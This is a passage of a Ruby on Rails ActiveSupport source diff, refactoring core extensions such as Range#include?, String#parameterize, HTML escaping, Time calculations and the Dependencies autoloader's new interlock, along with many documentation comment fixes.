('a'..'f').include?('c') # => true + # (5..9).include?(11) # => false + def include?(value) + if value.is_a?(::Range) + # 1...10 includes 1..9 but it does not include 1..10. + operator = exclude_end? && !value.exclude_end? ? :< : :<= + super(value.first) && value.last.send(operator, last) + else + super + end end end - - alias_method_chain :include?, :range end + +Range.prepend(ActiveSupport::IncludeWithRange) diff --git a/activesupport/lib/active_support/core_ext/securerandom.rb b/activesupport/lib/active_support/core_ext/securerandom.rb index 6cdbea1f37..98cf7430f7 100644 --- a/activesupport/lib/active_support/core_ext/securerandom.rb +++ b/activesupport/lib/active_support/core_ext/securerandom.rb @@ -10,8 +10,8 @@ module SecureRandom # # The result may contain alphanumeric characters except 0, O, I and l # - # p SecureRandom.base58 #=> "4kUgL2pdQMSCQtjE" - # p SecureRandom.base58(24) #=> "77TMHrHJFvFDwodq8w7Ev2m7" + # p SecureRandom.base58 # => "4kUgL2pdQMSCQtjE" + # p SecureRandom.base58(24) # => "77TMHrHJFvFDwodq8w7Ev2m7" # def self.base58(n = 16) SecureRandom.random_bytes(n).unpack("C*").map do |byte| diff --git a/activesupport/lib/active_support/core_ext/string/conversions.rb b/activesupport/lib/active_support/core_ext/string/conversions.rb index 3e0cb8a7ac..946976c5e9 100644 --- a/activesupport/lib/active_support/core_ext/string/conversions.rb +++ b/activesupport/lib/active_support/core_ext/string/conversions.rb @@ -14,11 +14,12 @@ class String # "06:12".to_time # => 2012-12-13 06:12:00 +0100 # "2012-12-13 06:12".to_time # => 2012-12-13 06:12:00 +0100 # "2012-12-13T06:12".to_time # => 2012-12-13 06:12:00 +0100 - # "2012-12-13T06:12".to_time(:utc) # => 2012-12-13 05:12:00 UTC + # "2012-12-13T06:12".to_time(:utc) # => 2012-12-13 06:12:00 UTC # "12/13/2012".to_time # => ArgumentError: argument out of range def to_time(form = :local) parts = Date._parse(self, false) - return if parts.empty? + used_keys = %i(year mon mday hour min sec sec_fraction offset) + return if (parts.keys & used_keys).empty? now = Time.now time = Time.new( @@ -31,7 +32,7 @@ class String parts.fetch(:offset, form == :utc ? 0 : nil) ) - form == :utc ? time.utc : time.getlocal + form == :utc ? time.utc : time.to_time end # Converts a string to a Date value. diff --git a/activesupport/lib/active_support/core_ext/string/filters.rb b/activesupport/lib/active_support/core_ext/string/filters.rb index 7461d03acc..375ec1aef8 100644 --- a/activesupport/lib/active_support/core_ext/string/filters.rb +++ b/activesupport/lib/active_support/core_ext/string/filters.rb @@ -17,9 +17,8 @@ class String # str.squish! # => "foo bar boo" # str # => "foo bar boo" def squish! - gsub!(/\A[[:space:]]+/, '') - gsub!(/[[:space:]]+\z/, '') gsub!(/[[:space:]]+/, ' ') + strip! self end diff --git a/activesupport/lib/active_support/core_ext/string/inflections.rb b/activesupport/lib/active_support/core_ext/string/inflections.rb index 97f9720b2b..7277f51076 100644 --- a/activesupport/lib/active_support/core_ext/string/inflections.rb +++ b/activesupport/lib/active_support/core_ext/string/inflections.rb @@ -164,15 +164,33 @@ class String # # <%= link_to(@person.name, person_path) %> # # => <a href="/person/1-donald-e-knuth">Donald E. Knuth</a> - def parameterize(sep = '-') - ActiveSupport::Inflector.parameterize(self, sep) + # + # To preserve the case of the characters in a string, use the `preserve_case` argument. + # + # class Person + # def to_param + # "#{id}-#{name.parameterize(preserve_case: true)}" + # end + # end + # + # @person = Person.find(1) + # # => #<Person id: 1, name: "Donald E. Knuth"> + # + # <%= link_to(@person.name, person_path) %> + # # => <a href="/person/1-Donald-E-Knuth">Donald E. Knuth</a> + def parameterize(sep = :unused, separator: '-', preserve_case: false) + unless sep == :unused + ActiveSupport::Deprecation.warn("Passing the separator argument as a positional parameter is deprecated and will soon be removed. Use `separator: '#{sep}'` instead.") + separator = sep + end + ActiveSupport::Inflector.parameterize(self, separator: separator, preserve_case: preserve_case) end # Creates the name of a table like Rails does for models to table names. This method # uses the +pluralize+ method on the last word in the string. # # 'RawScaledScorer'.tableize # => "raw_scaled_scorers" - # 'egg_and_ham'.tableize # => "egg_and_hams" + # 'ham_and_egg'.tableize # => "ham_and_eggs" # 'fancyCategory'.tableize # => "fancy_categories" def tableize ActiveSupport::Inflector.tableize(self) @@ -182,7 +200,7 @@ class String # Note that this returns a string and not a class. (To convert to an actual class # follow +classify+ with +constantize+.) # - # 'egg_and_hams'.classify # => "EggAndHam" + # 'ham_and_eggs'.classify # => "HamAndEgg" # 'posts'.classify # => "Post" def classify ActiveSupport::Inflector.classify(self) @@ -204,6 +222,15 @@ class String ActiveSupport::Inflector.humanize(self, options) end + # Converts just the first character to uppercase. + # + # 'what a Lovely Day'.upcase_first # => "What a Lovely Day" + # 'w'.upcase_first # => "W" + # ''.upcase_first # => "" + def upcase_first + ActiveSupport::Inflector.upcase_first(self) + end + # Creates a foreign key name from a class name. # +separate_class_name_and_id_with_underscore+ sets whether # the method should put '_' between the name and 'id'. diff --git a/activesupport/lib/active_support/core_ext/string/multibyte.rb b/activesupport/lib/active_support/core_ext/string/multibyte.rb index 7055f7f699..cc6f2158e7 100644 --- a/activesupport/lib/active_support/core_ext/string/multibyte.rb +++ b/activesupport/lib/active_support/core_ext/string/multibyte.rb @@ -9,12 +9,10 @@ class String # encapsulates the original string. A Unicode safe version of all the String methods are defined on this proxy # class. If the proxy class doesn't respond to a certain method, it's forwarded to the encapsulated string. # - # name = 'Claus Müller' - # name.reverse # => "rell??M sualC" - # name.length # => 13 - # - # name.mb_chars.reverse.to_s # => "rellüM sualC" - # name.mb_chars.length # => 12 + # >> "lj".upcase + # => "lj" + # >> "lj".mb_chars.upcase.to_s + # => "LJ" # # == Method chaining # diff --git a/activesupport/lib/active_support/core_ext/string/output_safety.rb b/activesupport/lib/active_support/core_ext/string/output_safety.rb index bae4e206e6..005ad93b08 100644 --- a/activesupport/lib/active_support/core_ext/string/output_safety.rb +++ b/activesupport/lib/active_support/core_ext/string/output_safety.rb @@ -5,7 +5,6 @@ class ERB module Util HTML_ESCAPE = { '&' => '&', '>' => '>', '<' => '<', '"' => '"', "'" => ''' } JSON_ESCAPE = { '&' => '\u0026', '>' => '\u003e', '<' => '\u003c', "\u2028" => '\u2028', "\u2029" => '\u2029' } - HTML_ESCAPE_REGEXP = /[&"'><]/ HTML_ESCAPE_ONCE_REGEXP = /["><']|&(?!([a-zA-Z]+|(#\d+)|(#[xX][\dA-Fa-f]+));)/ JSON_ESCAPE_REGEXP = /[\u2028\u2029&><]/u @@ -13,7 +12,7 @@ class ERB # This method is also aliased as <tt>h</tt>. # # In your ERB templates, use this method to escape any unsafe content. For example: - # <%=h @person.name %> + # <%= h @person.name %> # # puts html_escape('is a > 0 & a < 10?') # # => is a > 0 & a < 10? @@ -37,7 +36,7 @@ class ERB if s.html_safe? s else - s.gsub(HTML_ESCAPE_REGEXP, HTML_ESCAPE) + CGI.escapeHTML(ActiveSupport::Multibyte::Unicode.tidy_bytes(s)) end end module_function :unwrapped_html_escape @@ -50,7 +49,7 @@ class ERB # html_escape_once('<< Accept & Checkout') # # => "<< Accept & Checkout" def html_escape_once(s) - result = s.to_s.gsub(HTML_ESCAPE_ONCE_REGEXP, HTML_ESCAPE) + result = ActiveSupport::Multibyte::Unicode.tidy_bytes(s.to_s).gsub(HTML_ESCAPE_ONCE_REGEXP, HTML_ESCAPE) s.html_safe? ? result.html_safe : result end @@ -86,7 +85,7 @@ class ERB # use inside HTML attributes. # # If your JSON is being used downstream for insertion into the DOM, be aware of - # whether or not it is being inserted via +html()+. Most JQuery plugins do this. + # whether or not it is being inserted via +html()+. Most jQuery plugins do this. # If that is the case, be sure to +html_escape+ or +sanitize+ any user-generated # content returned by your JSON. # @@ -142,6 +141,7 @@ module ActiveSupport #:nodoc: alias_method :original_concat, :concat private :original_concat + # Raised when <tt>ActiveSupport::SafeBuffer#safe_concat</tt> is called on unsafe buffers. class SafeConcatError < StandardError def initialize super 'Could not concatenate to the buffer because it is not html safe.' @@ -171,7 +171,7 @@ module ActiveSupport #:nodoc: original_concat(value) end - def initialize(*) + def initialize(str = '') @html_safe = true super end @@ -243,15 +243,14 @@ module ActiveSupport #:nodoc: private def html_escape_interpolated_argument(arg) - (!html_safe? || arg.html_safe?) ? arg : - arg.to_s.gsub(ERB::Util::HTML_ESCAPE_REGEXP, ERB::Util::HTML_ESCAPE) + (!html_safe? || arg.html_safe?) ? arg : CGI.escapeHTML(arg.to_s) end end end class String # Marks a string as trusted safe. It will be inserted into HTML with no - # additional escaping performed. It is your responsibilty to ensure that the + # additional escaping performed. It is your responsibility to ensure that the # string contains no malicious content. This method is equivalent to the # `raw` helper in views. It is recommended that you use `sanitize` instead of # this method. It should never be called on user input. diff --git a/activesupport/lib/active_support/core_ext/string/strip.rb b/activesupport/lib/active_support/core_ext/string/strip.rb index 086c610976..55b9b87352 100644 --- a/activesupport/lib/active_support/core_ext/string/strip.rb +++ b/activesupport/lib/active_support/core_ext/string/strip.rb @@ -1,5 +1,3 @@ -require 'active_support/core_ext/object/try' - class String # Strips indentation in heredocs. # @@ -17,10 +15,9 @@ class String # # the user would see the usage message aligned against the left margin. # - # Technically, it looks for the least indented line in the whole string, and removes - # that amount of leading whitespace. + # Technically, it looks for the least indented non-empty line + # in the whole string, and removes that amount of leading whitespace. def strip_heredoc - indent = scan(/^[ \t]*(?=\S)/).min.try(:size) || 0 - gsub(/^[ \t]{#{indent}}/, '') + gsub(/^#{scan(/^[ \t]*(?=\S)/).min}/, ''.freeze) end end diff --git a/activesupport/lib/active_support/core_ext/time.rb b/activesupport/lib/active_support/core_ext/time.rb index 72c3234630..0bce632222 100644 --- a/activesupport/lib/active_support/core_ext/time.rb +++ b/activesupport/lib/active_support/core_ext/time.rb @@ -1,4 +1,5 @@ require 'active_support/core_ext/time/acts_like' require 'active_support/core_ext/time/calculations' +require 'active_support/core_ext/time/compatibility' require 'active_support/core_ext/time/conversions' require 'active_support/core_ext/time/zones' diff --git a/activesupport/lib/active_support/core_ext/time/calculations.rb b/activesupport/lib/active_support/core_ext/time/calculations.rb index 6f1b653639..e81b48ab26 100644 --- a/activesupport/lib/active_support/core_ext/time/calculations.rb +++ b/activesupport/lib/active_support/core_ext/time/calculations.rb @@ -3,6 +3,7 @@ require 'active_support/core_ext/time/conversions' require 'active_support/time_with_zone' require 'active_support/core_ext/time/zones' require 'active_support/core_ext/date_and_time/calculations' +require 'active_support/core_ext/date/calculations' class Time include DateAndTime::Calculations @@ -15,9 +16,9 @@ class Time super || (self == Time && other.is_a?(ActiveSupport::TimeWithZone)) end - # Return the number of days in the given month. + # Returns the number of days in the given month. # If no year is specified, it will use the current year. - def days_in_month(month, year = now.year) + def days_in_month(month, year = current.year) if month == 2 && ::Date.gregorian_leap?(year) 29 else @@ -25,6 +26,12 @@ class Time end end + # Returns the number of days in the given year. + # If no year is specified, it will use the current year. + def days_in_year(year = current.year) + days_in_month(2, year) + 337 + end + # Returns <tt>Time.zone.now</tt> when <tt>Time.zone</tt> or <tt>config.time_zone</tt> are set, otherwise just returns <tt>Time.now</tt>. def current ::Time.zone ? ::Time.zone.now : ::Time.now @@ -50,9 +57,9 @@ class Time # Returns the number of seconds since 00:00:00. # - # Time.new(2012, 8, 29, 0, 0, 0).seconds_since_midnight # => 0 - # Time.new(2012, 8, 29, 12, 34, 56).seconds_since_midnight # => 45296 - # Time.new(2012, 8, 29, 23, 59, 59).seconds_since_midnight # => 86399 + # Time.new(2012, 8, 29, 0, 0, 0).seconds_since_midnight # => 0.0 + # Time.new(2012, 8, 29, 12, 34, 56).seconds_since_midnight # => 45296.0 + # Time.new(2012, 8, 29, 23, 59, 59).seconds_since_midnight # => 86399.0 def seconds_since_midnight to_i - change(:hour => 0).to_i + (usec / 1.0e+6) end @@ -66,6 +73,13 @@ class Time end_of_day.to_i - to_i end + # Returns the fraction of a second as a +Rational+ + # + # Time.new(2012, 8, 29, 0, 0, 0.5).sec_fraction # => (1/2) + def sec_fraction + subsec + end + # Returns a new Time where one or more of the elements have been changed according # to the +options+ parameter. The time options (<tt>:hour</tt>, <tt>:min</tt>, # <tt>:sec</tt>, <tt>:usec</tt>, <tt>:nsec</tt>) reset cascadingly, so if only @@ -98,7 +112,7 @@ class Time elsif zone ::Time.local(new_year, new_month, new_day, new_hour, new_min, new_sec, new_usec) else - raise ArgumentError, 'argument out of range' if new_usec > 999999 + raise ArgumentError, 'argument out of range' if new_usec >= 1000000 ::Time.new(new_year, new_month, new_day, new_hour, new_min, new_sec + (new_usec.to_r / 1000000), utc_offset) end end @@ -108,6 +122,12 @@ class Time # takes a hash with any of these keys: <tt>:years</tt>, <tt>:months</tt>, # <tt>:weeks</tt>, <tt>:days</tt>, <tt>:hours</tt>, <tt>:minutes</tt>, # <tt>:seconds</tt>. + # + # Time.new(2015, 8, 1, 14, 35, 0).advance(seconds: 1) # => 2015-08-01 14:35:01 -0700 + # Time.new(2015, 8, 1, 14, 35, 0).advance(minutes: 1) # => 2015-08-01 14:36:00 -0700 + # Time.new(2015, 8, 1, 14, 35, 0).advance(hours: 1) # => 2015-08-01 15:35:00 -0700 + # Time.new(2015, 8, 1, 14, 35, 0).advance(days: 1) # => 2015-08-02 14:35:00 -0700 + # Time.new(2015, 8, 1, 14, 35, 0).advance(weeks: 1) # => 2015-08-08 14:35:00 -0700 def advance(options) unless options[:weeks].nil? options[:weeks], partial_weeks = options[:weeks].divmod(1) @@ -149,7 +169,6 @@ class Time # Returns a new Time representing the start of the day (0:00) def beginning_of_day - #(self - seconds_since_midnight).change(usec: 0) change(:hour => 0) end alias :midnight :beginning_of_day @@ -208,11 +227,6 @@ class Time end alias :at_end_of_minute :end_of_minute - # Returns a Range representing the whole day of the current time. - def all_day - beginning_of_day..end_of_day - end - def plus_with_duration(other) #:nodoc: if ActiveSupport::Duration === other other.since(self) @@ -246,8 +260,10 @@ class Time # Layers additional behavior on Time#<=> so that DateTime and ActiveSupport::TimeWithZone instances # can be chronologically compared with a Time def compare_with_coercion(other) - # we're avoiding Time#to_datetime cause it's expensive - if other.is_a?(Time) + # we're avoiding Time#to_datetime and Time#to_time because they're expensive + if other.class == Time + compare_without_coercion(other) + elsif other.is_a?(Time) compare_without_coercion(other.to_time) else to_datetime <=> other diff --git a/activesupport/lib/active_support/core_ext/time/compatibility.rb b/activesupport/lib/active_support/core_ext/time/compatibility.rb new file mode 100644 index 0000000000..945319461b --- /dev/null +++ b/activesupport/lib/active_support/core_ext/time/compatibility.rb @@ -0,0 +1,5 @@ +require 'active_support/core_ext/date_and_time/compatibility' + +class Time + prepend DateAndTime::Compatibility +end diff --git a/activesupport/lib/active_support/core_ext/time/conversions.rb b/activesupport/lib/active_support/core_ext/time/conversions.rb index dbf1f2f373..536c4bf525 100644 --- a/activesupport/lib/active_support/core_ext/time/conversions.rb +++ b/activesupport/lib/active_support/core_ext/time/conversions.rb @@ -6,6 +6,7 @@ class Time :db => '%Y-%m-%d %H:%M:%S', :number => '%Y%m%d%H%M%S', :nsec => '%Y%m%d%H%M%S%9N', + :usec => '%Y%m%d%H%M%S%6N', :time => '%H:%M', :short => '%d %b %H:%M', :long => '%B %d, %Y %H:%M', @@ -24,7 +25,7 @@ class Time # # This method is aliased to <tt>to_s</tt>. # - # time = Time.now # => Thu Jan 18 06:10:17 CST 2007 + # time = Time.now # => 2007-01-18 06:10:17 -06:00 # # time.to_formatted_s(:time) # => "06:10" # time.to_s(:time) # => "06:10" @@ -55,7 +56,8 @@ class Time alias_method :to_default_s, :to_s alias_method :to_s, :to_formatted_s - # Returns the UTC offset as an +HH:MM formatted string. + # Returns a formatted string of the offset from UTC, or an alternative + # string if the time zone is already UTC. # # Time.local(2000).formatted_offset # => "-06:00" # Time.local(2000).formatted_offset(false) # => "-0600" diff --git a/activesupport/lib/active_support/core_ext/time/zones.rb b/activesupport/lib/active_support/core_ext/time/zones.rb index d683e7c777..7a60f94996 100644 --- a/activesupport/lib/active_support/core_ext/time/zones.rb +++ b/activesupport/lib/active_support/core_ext/time/zones.rb @@ -40,7 +40,23 @@ class Time Thread.current[:time_zone] = find_zone!(time_zone) end - # Allows override of <tt>Time.zone</tt> locally inside supplied block; resets <tt>Time.zone</tt> to existing value when done. + # Allows override of <tt>Time.zone</tt> locally inside supplied block; + # resets <tt>Time.zone</tt> to existing value when done. + # + # class ApplicationController < ActionController::Base + # around_action :set_time_zone + # + # private + # + # def set_time_zone + # Time.use_zone(current_user.timezone) { yield } + # end + # end + # + # NOTE: This won't affect any <tt>ActiveSupport::TimeWithZone</tt> + # objects that have already been created, e.g. any model timestamp + # attributes that have been read before the block will remain in + # the application's default timezone. def use_zone(time_zone) new_zone = find_zone!(time_zone) begin @@ -53,7 +69,7 @@ class Time # Returns a TimeZone instance matching the time zone provided. # Accepts the time zone in any format supported by <tt>Time.zone=</tt>. - # Raises an ArgumentError for invalid time zones. + # Raises an +ArgumentError+ for invalid time zones. # # Time.find_zone! "America/New_York" # => #<ActiveSupport::TimeZone @name="America/New_York" ...> # Time.find_zone! "EST" # => #<ActiveSupport::TimeZone @name="EST" ...> @@ -65,7 +81,8 @@ class Time if !time_zone || time_zone.is_a?(ActiveSupport::TimeZone) time_zone else - # lookup timezone based on identifier (unless we've been passed a TZInfo::Timezone) + # Look up the timezone based on the identifier (unless we've been + # passed a TZInfo::Timezone) unless time_zone.respond_to?(:period_for_local) time_zone = ActiveSupport::TimeZone[time_zone] || TZInfo::Timezone.get(time_zone) end diff --git a/activesupport/lib/active_support/core_ext/uri.rb b/activesupport/lib/active_support/core_ext/uri.rb index bfe0832b37..c6c183edd9 100644 --- a/activesupport/lib/active_support/core_ext/uri.rb +++ b/activesupport/lib/active_support/core_ext/uri.rb @@ -1,5 +1,3 @@ -# encoding: utf-8 - require 'uri' str = "\xE6\x97\xA5\xE6\x9C\xAC\xE8\xAA\x9E" # Ni-ho-nn-go in UTF-8, means Japanese. parser = URI::Parser.new @@ -12,7 +10,7 @@ unless str == parser.unescape(parser.escape(str)) # YK: My initial experiments say yes, but let's be sure please enc = str.encoding enc = Encoding::UTF_8 if enc == Encoding::US_ASCII - str.gsub(escaped) { [$&[1, 2].hex].pack('C') }.force_encoding(enc) + str.gsub(escaped) { |match| [match[1, 2].hex].pack('C') }.force_encoding(enc) end end end diff --git a/activesupport/lib/active_support/dependencies.rb b/activesupport/lib/active_support/dependencies.rb index 664cc15a29..57f6286de3 100644 --- a/activesupport/lib/active_support/dependencies.rb +++ b/activesupport/lib/active_support/dependencies.rb @@ -1,6 +1,6 @@ require 'set' require 'thread' -require 'thread_safe' +require 'concurrent/map' require 'pathname' require 'active_support/core_ext/module/aliasing' require 'active_support/core_ext/module/attribute_accessors' @@ -12,12 +12,40 @@ require 'active_support/core_ext/kernel/reporting' require 'active_support/core_ext/load_error' require 'active_support/core_ext/name_error' require 'active_support/core_ext/string/starts_ends_with' +require "active_support/dependencies/interlock" require 'active_support/inflector' module ActiveSupport #:nodoc: module Dependencies #:nodoc: extend self + mattr_accessor :interlock + self.interlock = Interlock.new + + # :doc: + + # Execute the supplied block without interference from any + # concurrent loads. + def self.run_interlock + Dependencies.interlock.running { yield } + end + + # Execute the supplied block while holding an exclusive lock, + # preventing any other thread from being inside a #run_interlock + # block at the same time. + def self.load_interlock + Dependencies.interlock.loading { yield } + end + + # Execute the supplied block while holding an exclusive lock, + # preventing any other thread from being inside a #run_interlock + # block at the same time. + def self.unload_interlock + Dependencies.interlock.unloading { yield } + end + + # :nodoc: + # Should we turn on Ruby warnings on the first load of dependent files? mattr_accessor :warnings_on_first_load self.warnings_on_first_load = false @@ -60,15 +88,6 @@ module ActiveSupport #:nodoc: mattr_accessor :explicitly_unloadable_constants self.explicitly_unloadable_constants = [] - # The logger is used for generating information on the action run-time - # (including benchmarking) if available. Can be set to nil for no logging. - # Compatible with both Ruby's own Logger and Log4r loggers. - mattr_accessor :logger - - # Set to +true+ to enable logging of const_missing and file loads. - mattr_accessor :log_activity - self.log_activity = false - # The WatchStack keeps a stack of the modules being watched as files are # loaded. If a file in the process of being loaded (parent.rb) triggers the # load of another file (child.rb) the stack will ensure that child.rb @@ -115,11 +134,11 @@ module ActiveSupport #:nodoc: next unless mod.is_a?(Module) # Get a list of the constants that were added - new_constants = mod.local_constants - original_constants + new_constants = mod.constants(false) - original_constants - # self[namespace] returns an Array of the constants that are being evaluated + # @stack[namespace] returns an Array of the constants that are being evaluated # for that namespace. For instance, if parent.rb requires child.rb, the first - # element of self[Object] will be an Array of the constants that were present + # element of @stack[Object] will be an Array of the constants that were present # before parent.rb was required. The second element will be an Array of the # constants that were present before child.rb was required. @stack[namespace].each do |namespace_constants| @@ -128,7 +147,7 @@ module ActiveSupport #:nodoc: # Normalize the list of new constants, and add them to the list we will return new_constants.each do |suffix| - constants << ([namespace, suffix] - ["Object"]).join("::") + constants << ([namespace, suffix] - ["Object"]).join("::".freeze) end end constants @@ -143,7 +162,7 @@ module ActiveSupport #:nodoc: @watching << namespaces.map do |namespace| module_name = Dependencies.to_constant_name(namespace) original_constants = Dependencies.qualified_const_defined?(module_name) ? - Inflector.constantize(module_name).local_constants : [] + Inflector.constantize(module_name).constants(false) : [] @stack[module_name] << original_constants module_name @@ -234,7 +253,7 @@ module ActiveSupport #:nodoc: end def load_dependency(file) - if Dependencies.load? && ActiveSupport::Dependencies.constant_watch_stack.watching? + if Dependencies.load? && Dependencies.constant_watch_stack.watching? Dependencies.new_constants_in(Object) { yield } else yield @@ -324,51 +343,53 @@ module ActiveSupport #:nodoc: end def clear - log_call - loaded.clear - loading.clear - remove_unloadable_constants! + Dependencies.unload_interlock do + loaded.clear + loading.clear + remove_unloadable_constants! + end end def require_or_load(file_name, const_path = nil) - log_call file_name, const_path file_name = $` if file_name =~ /\.rb\z/ expanded = File.expand_path(file_name) return if loaded.include?(expanded) - # Record that we've seen this file *before* loading it to avoid an - # infinite loop with mutual dependencies. - loaded << expanded - loading << expanded - - begin - if load? - log "loading #{file_name}" + Dependencies.load_interlock do + # Maybe it got loaded while we were waiting for our lock: + return if loaded.include?(expanded) - # Enable warnings if this file has not been loaded before and - # warnings_on_first_load is set. - load_args = ["#{file_name}.rb"] - load_args << const_path unless const_path.nil? + # Record that we've seen this file *before* loading it to avoid an + # infinite loop with mutual dependencies. + loaded << expanded + loading << expanded - if !warnings_on_first_load or history.include?(expanded) - result = load_file(*load_args) + begin + if load? + # Enable warnings if this file has not been loaded before and + # warnings_on_first_load is set. + load_args = ["#{file_name}.rb"] + load_args << const_path unless const_path.nil? + + if !warnings_on_first_load or history.include?(expanded) + result = load_file(*load_args) + else + enable_warnings { result = load_file(*load_args) } + end else - enable_warnings { result = load_file(*load_args) } + result = require file_name end - else - log "requiring #{file_name}" - result = require file_name + rescue Exception + loaded.delete expanded + raise + ensure + loading.pop end - rescue Exception - loaded.delete expanded - raise - ensure - loading.pop - end - # Record history *after* loading so first load gets warnings. - history << expanded - result + # Record history *after* loading so first load gets warnings. + history << expanded + result + end end # Is the provided constant path defined? @@ -386,13 +407,13 @@ module ActiveSupport #:nodoc: bases.each do |root| expanded_root = File.expand_path(root) - next unless %r{\A#{Regexp.escape(expanded_root)}(/|\\)} =~ expanded_path + next unless expanded_path.start_with?(expanded_root) - nesting = expanded_path[(expanded_root.size)..-1] - nesting = nesting[1..-1] if nesting && nesting[0] == ?/ - next if nesting.blank? + root_size = expanded_root.size + next if expanded_path[root_size] != ?/.freeze - paths << nesting.camelize + nesting = expanded_path[(root_size + 1)..-1] + paths << nesting.camelize unless nesting.blank? end paths.uniq! @@ -401,7 +422,7 @@ module ActiveSupport #:nodoc: # Search for a file in autoload_paths matching the provided suffix. def search_for_file(path_suffix) - path_suffix = path_suffix.sub(/(\.rb)?$/, ".rb") + path_suffix = path_suffix.sub(/(\.rb)?$/, ".rb".freeze) autoload_paths.each do |root| path = File.join(root, path_suffix) @@ -448,7 +469,6 @@ module ActiveSupport #:nodoc: # set of names that the file at +path+ may define. See # +loadable_constants_for_path+ for more details. def load_file(path, const_paths = loadable_constants_for_path(path)) - log_call path, const_paths const_paths = [const_paths].compact unless const_paths.is_a? Array parent_paths = const_paths.collect { |const_path| const_path[/.*(?=::)/] || ::Object } @@ -459,7 +479,6 @@ module ActiveSupport #:nodoc: autoloaded_constants.concat newly_defined_paths unless load_once_path?(path) autoloaded_constants.uniq! - log "loading #{path} defined #{newly_defined_paths * ', '}" unless newly_defined_paths.empty? result end @@ -473,8 +492,6 @@ module ActiveSupport #:nodoc: # it is not possible to load the constant into from_mod, try its parent # module using +const_missing+. def load_missing_constant(from_mod, const_name) - log_call from_mod, const_name - unless qualified_const_defined?(from_mod.name) && Inflector.constantize(from_mod.name).equal?(from_mod) raise ArgumentError, "A copy of #{from_mod} has been removed from the module tree but is still active!" end @@ -486,7 +503,7 @@ module ActiveSupport #:nodoc: if file_path expanded = File.expand_path(file_path) - expanded.sub!(/\.rb\z/, '') + expanded.sub!(/\.rb\z/, ''.freeze) if loading.include?(expanded) raise "Circular dependency detected while autoloading constant #{qualified_name}" @@ -550,7 +567,7 @@ module ActiveSupport #:nodoc: class ClassCache def initialize - @store = ThreadSafe::Cache.new + @store = Concurrent::Map.new end def empty? @@ -638,25 +655,20 @@ module ActiveSupport #:nodoc: # exception, any new constants are regarded as being only partially defined # and will be removed immediately. def new_constants_in(*descs) - log_call(*descs) - constant_watch_stack.watch_namespaces(descs) - aborting = true + success = false begin yield # Now yield to the code that is to define new constants. - aborting = false + success = true ensure new_constants = constant_watch_stack.new_constants - log "New constants: #{new_constants * ', '}" - return new_constants unless aborting + return new_constants if success - log "Error during loading, removing partially loaded constants " - new_constants.each { |c| remove_constant(c) }.clear + # Remove partially loaded constants. + new_constants.each { |c| remove_constant(c) } end - - [] end # Convert the provided const desc to a qualified constant name (as a string). @@ -703,8 +715,6 @@ module ActiveSupport #:nodoc: parent = constantize(parent_name) end - log "removing constant #{const}" - # In an autoloaded user.rb like this # # autoload :Foo, 'foo' @@ -725,7 +735,7 @@ module ActiveSupport #:nodoc: begin constantized = parent.const_get(to_remove, false) rescue NameError - log "the constant #{const} is not reachable anymore, skipping" + # The constant is no longer reachable, just skip it. return else constantized.before_remove_const if constantized.respond_to?(:before_remove_const) @@ -735,27 +745,9 @@ module ActiveSupport #:nodoc: begin parent.instance_eval { remove_const to_remove } rescue NameError - log "the constant #{const} is not reachable anymore, skipping" + # The constant is no longer reachable, just skip it. end end - - protected - def log_call(*args) - if log_activity? - arg_str = args.collect(&:inspect) * ', ' - /in `([a-z_\?\!]+)'/ =~ caller(1).first - selector = $1 || '<unknown>' - log "called #{selector}(#{arg_str})" - end - end - - def log(msg) - logger.debug "Dependencies: #{msg}" if log_activity? - end - - def log_activity? - logger && log_activity - end end end diff --git a/activesupport/lib/active_support/dependencies/interlock.rb b/activesupport/lib/active_support/dependencies/interlock.rb new file mode 100644 index 0000000000..f1865ca2f8 --- /dev/null +++ b/activesupport/lib/active_support/dependencies/interlock.rb @@ -0,0 +1,51 @@ +require 'active_support/concurrency/share_lock' + +module ActiveSupport #:nodoc: + module Dependencies #:nodoc: + class Interlock + def initialize # :nodoc: + @lock = ActiveSupport::Concurrency::ShareLock.new + end + + def loading + @lock.exclusive(purpose: :load, compatible: [:load], after_compatible: [:load]) do + yield + end + end + + def unloading + @lock.exclusive(purpose: :unload, compatible: [:load, :unload], after_compatible: [:load, :unload]) do + yield + end + end + + def start_unloading + @lock.start_exclusive(purpose: :unload, compatible: [:load, :unload]) + end + + def done_unloading + @lock.stop_exclusive(compatible: [:load, :unload]) + end + + def start_running + @lock.start_sharing + end + + def done_running + @lock.stop_sharing + end + + def running + @lock.sharing do + yield + end + end + + def permit_concurrent_loads + @lock.yield_shares(compatible: [:load]) do + yield + end + end + end + end +end diff --git a/activesupport/lib/active_support/deprecation.rb b/activesupport/lib/active_support/deprecation.rb index 46e9996d59..b581710067 100644 --- a/activesupport/lib/active_support/deprecation.rb +++ b/activesupport/lib/active_support/deprecation.rb @@ -32,7 +32,7 @@ module ActiveSupport # and the second is a library name # # ActiveSupport::Deprecation.new('2.0', 'MyLibrary') - def initialize(deprecation_horizon = '5.0', gem_name = 'Rails') + def initialize(deprecation_horizon = '5.2', gem_name = 'Rails') self.gem_name = gem_name self.deprecation_horizon = deprecation_horizon # By default, warnings are not silenced and debugging is off. diff --git a/activesupport/lib/active_support/deprecation/behaviors.rb b/activesupport/lib/active_support/deprecation/behaviors.rb index 9f9dca8453..dc24e2d0e1 100644 --- a/activesupport/lib/active_support/deprecation/behaviors.rb +++ b/activesupport/lib/active_support/deprecation/behaviors.rb @@ -1,6 +1,8 @@ require "active_support/notifications" module ActiveSupport + # Raised when <tt>ActiveSupport::Deprecation::Behavior#behavior</tt> is set with <tt>:raise</tt>. + # You would set <tt>:raise</tt>, as a behaviour to raise errors and proactively report exceptions from deprecations. class DeprecationException < StandardError end @@ -9,7 +11,7 @@ module ActiveSupport DEFAULT_BEHAVIORS = { raise: ->(message, callstack) { e = DeprecationException.new(message) - e.set_backtrace(callstack) + e.set_backtrace(callstack.map(&:to_s)) raise e }, @@ -38,6 +40,18 @@ module ActiveSupport silence: ->(message, callstack) {}, } + # Behavior module allows to determine how to display deprecation messages. + # You can create a custom behavior or set any from the +DEFAULT_BEHAVIORS+ + # constant. Available behaviors are: + # + # [+raise+] Raise <tt>ActiveSupport::DeprecationException</tt>. + # [+stderr+] Log all deprecation warnings to +$stderr+. + # [+log+] Log all deprecation warnings to +Rails.logger+. + # [+notify+] Use +ActiveSupport::Notifications+ to notify +deprecation.rails+. + # [+silence+] Do nothing. + # + # Setting behaviors only affects deprecations that happen after boot time. + # For more information you can read the documentation of the +behavior=+ method. module Behavior # Whether to print a backtrace along with the warning. attr_accessor :debug diff --git a/activesupport/lib/active_support/deprecation/method_wrappers.rb 